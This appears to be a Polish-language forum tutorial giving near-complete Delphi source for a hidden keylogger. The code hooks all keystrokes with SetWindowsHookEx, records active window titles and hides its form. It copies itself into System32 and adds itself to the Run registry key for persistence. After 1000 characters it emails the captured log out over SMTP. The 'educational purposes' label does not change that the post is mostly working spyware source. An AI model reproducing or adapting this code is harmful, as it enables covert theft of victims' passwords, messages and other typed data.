Cześć.
Ten artykuł jest poświęcony pisaniu keyloggera, który wysyła logi po określonej ilości znaków.
Keylogger oparty na Hooku, przechwytuje nazwy okienek, polskie znaki...
ARTYKUŁ DO CELÓW EDUKACYJNYCH.
(((<------------------------------------------------------->)))
Komponenty:
Keylogger oparty na Indy - IdMessage, IdSmtp.
Reszta komponentów - memo, timer.
(((<------------------------------------------------------->)))
Kod:
Do głównego Var daj:
Do uses:
Skorzystamy z gotowego Hooka(krolnet.pl):
... Do FormCreate dodaj:
... Do FormDestroy dodaj:
... I funkcja pod
Jedna:
Druga:
W timerze daj kod, który jest odpowiedzialny za naliczanie znaków:
Rejestr:
Do FormCreate dodaj:
...Nad private:
Ukrywanie formy:
Wysyłanie:
A nad private:
No to tyle.
Jak jakieś błędy poprawić mnie!!
Pozdro.
//zlituj się, cały post bold'em??
Ten artykuł jest poświęcony pisaniu keyloggera, który wysyła logi po określonej ilości znaków.
Keylogger oparty na Hooku, przechwytuje nazwy okienek, polskie znaki...
ARTYKUŁ DO CELÓW EDUKACYJNYCH.
(((<------------------------------------------------------->)))
Komponenty:
Keylogger oparty na Indy - IdMessage, IdSmtp.
Reszta komponentów - memo, timer.
(((<------------------------------------------------------->)))
Kod:
Do głównego Var daj:
Kod:
liczba : integer;
Hook : Integer;
MMBB : TEventMsg;
literka : string;
naglowek : string;
poprzedninaglowek : string;
Do uses:
Kod:
registry
Skorzystamy z gotowego Hooka(krolnet.pl):
... Do FormCreate dodaj:
Kod:
Hook := SetWindowsHookEx(wh_journalrecord, KLog, HInstance, 0);
... Do FormDestroy dodaj:
Kod:
UnHookWindowsHookEx(Hook);
... I funkcja pod
Kod:
Implemantion
{$R *.dfm}
Jedna:
Kod:
function NT_InternalGetWindowText(Wnd: HWND): string;
type
TInternalGetWindowText = function(Wnd: HWND; lpString: PWideChar;
nMaxCount: Integer): Integer;
stdcall;
var
hUserDll: THandle;
InternalGetWindowText: TInternalGetWindowText;
lpString: array[0..MAX_PATH] of WideChar;
begin
Result := '';
hUserDll := GetModuleHandle('user32.dll');
if (hUserDll > 0) then
begin @InternalGetWindowText := GetProcAddress(hUserDll, 'InternalGetWindowText');
if Assigned(InternalGetWindowText) then
begin
InternalGetWindowText(Wnd, lpString, SizeOf(lpString));
Result := string(lpString);
end;
end;
end;
Druga:
Kod:
function KLog(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MMBB := PEventMsg(lParam)^;
if MMBB.message = wm_KeyDown then
begin
naglowek := (NT_InternalGetWindowText(GetForegroundWindow));
if poprzedninaglowek <> naglowek then
begin
Form1.Memo1.Lines.Add(' ');
Form1.Memo1.Lines.Add('Nazwa Okna: '+naglowek+', '+DateToStr(Date)+' - '+TimeToStr(Time));
Form1.Memo1.Lines.Add('');
end;
literka := chr(MMBB.paraml);
case MMBB.paramh of
1 : Form1.Memo1.Text := Form1.Memo1.Text + '<ESC>';
14 : Form1.Memo1.Text:= copy(Form1.Memo1.Text, 1, length(Form1.Memo1.Text)-1);
15 : Form1.Memo1.Text := Form1.Memo1.Text + '<TAB>';
28 : Form1.Memo1.Lines.Add(''); // ENTER
57 : Form1.Memo1.Text := Form1.Memo1.Text + ' ';
125 : Form1.Memo1.Text := Form1.Memo1.Text + '<M>';
16..25:
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT) < 0 then
Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka)
else
Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
else
if GetKeyState(VK_SHIFT) < 0 then
Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
else
Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka);
30..38:
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT) < 0 then
Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka)
else
Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
else
if GetKeyState(VK_SHIFT) < 0 then
Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
else
Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka);
44..50:
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT) < 0 then
Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka)
else
Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
else
if GetKeyState(VK_SHIFT) < 0 then
Form1.Memo1.Text := Form1.Memo1.Text + chr(MMBB.paraml)
else
Form1.Memo1.Text := Form1.Memo1.Text + LowerCase(literka);
41: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '~'
else Form1.Memo1.Text := Form1.Memo1.Text + '`';
2: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '!'
else Form1.Memo1.Text := Form1.Memo1.Text + '1';
3: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '@'
else Form1.Memo1.Text := Form1.Memo1.Text + '2';
4: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '#'
else Form1.Memo1.Text := Form1.Memo1.Text + '3';
5: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '
else Form1.Memo1.Text := Form1.Memo1.Text + '4';
6: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '%'
else Form1.Memo1.Text := Form1.Memo1.Text + '5';
7: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '^'
else Form1.Memo1.Text := Form1.Memo1.Text + '6';
8: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '&'
else Form1.Memo1.Text := Form1.Memo1.Text + '7';
9: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '*'
else Form1.Memo1.Text := Form1.Memo1.Text + '8';
10: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '('
else Form1.Memo1.Text := Form1.Memo1.Text + '9';
11: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + ')'
else Form1.Memo1.Text := Form1.Memo1.Text + '0';
12: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '_'
else Form1.Memo1.Text := Form1.Memo1.Text + '-';
13: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '+'
else Form1.Memo1.Text := Form1.Memo1.Text + '=';
26: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '{'
else Form1.Memo1.Text := Form1.Memo1.Text + '[';
27: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '}'
else Form1.Memo1.Text := Form1.Memo1.Text + ']';
39: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + ':'
else Form1.Memo1.Text := Form1.Memo1.Text + ';';
40: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '"'
else Form1.Memo1.Text := Form1.Memo1.Text + '`';
51: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '<'
else Form1.Memo1.Text := Form1.Memo1.Text + ',';
52: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '>'
else Form1.Memo1.Text := Form1.Memo1.Text + '.';
53: if GetKeyState(VK_SHIFT) < 0 then Form1.Memo1.Text := Form1.Memo1.Text + '?'
else Form1.Memo1.Text := Form1.Memo1.Text + '/';
71: Form1.Memo1.Text := Form1.Memo1.Text + '7';
72: Form1.Memo1.Text := Form1.Memo1.Text + '8';
73: Form1.Memo1.Text := Form1.Memo1.Text + '9';
75: Form1.Memo1.Text := Form1.Memo1.Text + '4';
76: Form1.Memo1.Text := Form1.Memo1.Text + '5';
77: Form1.Memo1.Text := Form1.Memo1.Text + '6';
79: Form1.Memo1.Text := Form1.Memo1.Text + '1';
80: Form1.Memo1.Text := Form1.Memo1.Text + '2';
81: Form1.Memo1.Text := Form1.Memo1.Text + '3';
82: Form1.Memo1.Text := Form1.Memo1.Text + '0';
83: Form1.Memo1.Text := Form1.Memo1.Text + ',';
78: Form1.Memo1.Text := Form1.Memo1.Text + '+';
74: Form1.Memo1.Text := Form1.Memo1.Text + '-';
55: Form1.Memo1.Text := Form1.Memo1.Text + '*';
end;
end;
end;
end;
poprzedninaglowek:=naglowek;
end;
W timerze daj kod, który jest odpowiedzialny za naliczanie znaków:
Kod:
begin
liczba:=length(memo1.text);
if liczba > 1000 then // liczba znaków
wysylanie;
end;
Rejestr:
Kod:
procedure Tform1.Rejestr;
var
Rejestr:TRegistry;
begin
copyfile(pchar(paramstr(0)),pchar('C:\WINDOWS\System32\keylogger.exe'),true);
Rejestr:=TRegistry.Create;
Rejestr.RootKey:=(HKEY_CURRENT_USER);
Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',False);
Rejestr.WriteString('keylogger', 'C:\WINDOWS\System32\keylogger.exe');
Rejestr.Free;
end;
Do FormCreate dodaj:
Kod:
Rejestr;
...Nad private:
Kod:
procedure Rejestr;
Ukrywanie formy:
Kod:
Application.showmainform:=false;
Wysyłanie:
Kod:
procedure Tform1.wysylanie;
begin
IdMessage1.Body.Append(memo1.text);
IdMessage1.Recipients.EMailAddresses := 'Odbiorca';
IdMessage1.Subject := 'Log';
IdMessage1.From.name := 'Keylogger';
IdMessage1.From.Address :='email serwera...';
idSMTP1.Password := 'haslo serwera';
idSMTP1.Username := 'login serwera';
idSMTP1.Host := 'host';
idSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
idmessage1.body.Clear;
memo1.lines.Clear;
end;
end;
A nad private:
Kod:
procedure wysylanie;
No to tyle.
Jak jakieś błędy poprawić mnie!!
Pozdro.
//zlituj się, cały post bold'em??